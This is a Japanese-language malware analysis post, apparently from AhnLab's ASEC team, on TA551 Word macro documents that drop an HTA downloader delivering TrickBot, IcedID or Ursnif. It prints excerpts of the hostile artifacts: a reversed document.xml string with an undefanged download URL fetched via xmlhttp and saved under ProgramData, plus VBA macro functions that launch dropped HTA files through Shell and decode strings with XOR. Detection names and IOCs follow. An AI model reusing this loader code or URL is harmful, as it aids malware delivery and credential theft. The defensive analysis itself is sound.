ASEC 分析チームでは、不正なマクロファイルについて継続的に紹介し、ユーザーへの注意を呼びかけている。最近 TA551 攻撃グループが配布したタイプの Word マクロファイルにおいて、平均して週間隔の変形が発生していることが確認されたため、これを紹介する。
TA551 グループは、マルウェア配布のために不正なマクロが含まれたドキュメントを添付した電子メールを主に利用している。ドキュメントのマクロを有効化すると HTA ファイルをドロップして、追加のマルウェアをダウンロードする。この時の DOC ファイル自体の動作方式は同じであり、変形の要点は追加でダウンロードするマルウェアの種類にある。

上記で図式化して表した不正なマクロの動作方式を説明すると、以下の通りとなる。
攻撃者は不正な DOC ファイルが添付されたスパムメールを配布するが、ユーザーがメール閲覧の過程で添付ファイルをダウンロードしてマクロを実行すると、不正な HTA ファイルがドロップされる。この HTA ファイルの内部には外部 URL から追加のマルウェアをダウンロードできるようにするコードが存在し、外部 URL のリンクが有効な場合、攻撃者が意図した最終的なマルウェアがダウンロードされて動作することとなる。

今回 TrickBot マルウェアを配布するために使用した不正な DOC ファイル名と、ドロップされる HTA ファイル名(DLL ファイル名と同一)を上記表に整理した。
TrickBot 配布目的の変形だけでなく、TA551 グループが継続的に使用してきた不正なマクロの変形ファイル配布過程で確認されるマクロコードの動作方式も、大きな変化はなかった。しかし、TA551 が昨年から拡散を続けてきた不正なマクロ付きドキュメントファイルにおいて確認されたマルウェアが継続して IcedId 類であったのに対し、ダウンロードする最終的なマルウェアの種類が徐々に変わってきているという点に意味がある。

[document.xml] – 一部抜粋
eslaF ,"huDSHMPsgn=hcraes&xt6X4fLT=di&BPHSK=resu&sSW7qpNxMucIcoxFPTJ=jibxO&00oYo19C=hcraes&9vGttM=dic&64BBY6eIrpNf1DyB=XhF&hSlYk=resu?1uzam/NpGbPSg3Ddn55UEAB0gi62SxY3C48ybaZA/sFOKURIghF2uY7XcTM6FrDEGxffw/adda/moc.grebotcotseb//:ptth" ,"TEG" nepO.ptthlmx
2 ,"gpj.neercSnoitpac\atadmargorp\:c" eliFoTevaS.maerts
[マクロコード] – 一部抜粋
Attribute VB_Name = "listboxArray"
Function templateCCurr(removeDocClass)
Debug.Print Shell("" + genericLnkResponse("explorer "))
End Function
Function genericLnkResponse(removeDocClass, Optional dateLibsW = "c:\progra", Optional btnLocal = "ta")
genericLnkResponse = removeDocClass & dateLibsW & "mdata\vbaQueryCount.h" & btnLocal
End Function
Function initTitle(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 100)
Next
initTitle = out
End Function
Attribute VB_Name = "captionO"
Function lnkObject(queryArray)
Shell singleLocal("cmd /c ")
End Function
Function singleLocal(queryArray, Optional listboxLng = "c:\\users\\public\\winSelBefore.h", Optional oOSize = "t", Optional optionDRef = "a")
singleLocal = queryArray & listboxLng & "" & oOSize & optionDRef
End Function
Function indexDocTmp(arr As Variant)
Dim out As String
out = vbNullChar
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 101)
Next
indexDocTmp = out
End Function
変形が発生するバージョンごとにマクロコードの一部を確認すると、1次難読化がなされている document.xml オブジェクトの内部データを活用して、2次難読化がされている hta を生成するパターンへとつながることがわかる。簡単なサンプルを確認すると、hta ファイルを実行させるコマンドを組み合わせるプロセスを少し変形する、または特定のタイプでは上記のように単純に文字列の順序を逆にして document.xml 内部のデータを活用することもある。



最近配布されたサンプルを見た場合、図2のような不正なマクロが含まれた Word ファイルのマクロを有効化すると、図5の HTA ファイルが C:\ProgramData パスにドロップされる。HTA ファイル内部の一部のコードの難読化を解除すると、以下のように外部の不正な URL から追加のマルウェア(vbaQueryCount.jpg)をダウンロードし、C:\Users\Public パスに保存するためのコードが確認できる。ここでダウンロードされる jpg ファイルは画像ファイルではなく regsvr32.exe で実行される DLL マルウェアである。また、上で記述した[マクロコード– 一部抜粋]部分で確認できるように、HTA ファイルをドロップするパスは攻撃者が意図したマクロコード変形によって異なることがある。


最終的にダウンロードされたマルウェアは TrickBot であり、ユーザーの PC から Web ブラウザ/金融取引情報等の機密情報を奪取する不正な行為を試みる。AhnLab RAPIT(マルウェア自動解析インフラ)が提供するプロセスツリー(図8)からも分かる通り、ipconfig.exe / net.exe / nltest.exe 等の正常なプロセスを通じて感染 PC の情報を収集する。
最近の変形推移を確認すると、最終的に動作するマルウェアが変化したことが確認でる。これらはすべて金融情報奪取型マルウェアと確認されている。
- IcedID ダウンロードタイプ
- Ursnif ダウンロードタイプ
- Trickbot ダウンロードタイプ
ユーザーは、出どころが不明なメールの添付ファイルを開かないようにしなければならず、もし添付ファイルをダウンロードしてしまった場合は、マクロの実行(有効化)を避けなければならない。ドキュメントプログラムのセキュリティ設定が低い場合はセキュリティの警告がなく直接マクロが実行されるため、ユーザーはセキュリティ設定を高レベルに保ち、意図しない機能が実行されないような注意が必要である。
また、使用しているアンチウイルスソフトのエンジンパターンのバージョンを最新版にアップデートして使用することを推奨する。
AhnLab V3 プロダクトラインでは、本記事で紹介したタイプの不正なファイル(DOC、HTA、DLL 等)について、以下の通り検知している。
[ファイル検知]
Downloader/DOC.TA551
Downloader/DOC.TA551.S1535
Downloader/DOC.Agent
Downloader/DOC.Generic
Dropper/MSOffice.Generic
Downloader/HTA.TA551
Downloader/Script.Agent
Trojan/JS.TrickBot
Trojan/Win.Generic.C4531900
[IOC]
47e580efca5c42565af7b214bd601d80
24d2245c3657caba1e3a3bbe14e0cc25
35ff8c7a28c72c64e0f5f9fc75e9a4aa
8333d57a044a01797f6e120b4c1b1dc2
97b1bb23455fb9a9607f37df266459fc
ebda58ce60415f80968457e8548b9fec
b736f5dc071bb3d2bb3f4f9e2e0155d1
86ddb37be7e54511c8761308c1d7fa91
2478032eded8e67228c05e8e1fdc7a89
hxxp://championriced[.]com
hxxp://app.bighomegl[.]at
Categories:マルウェアの情報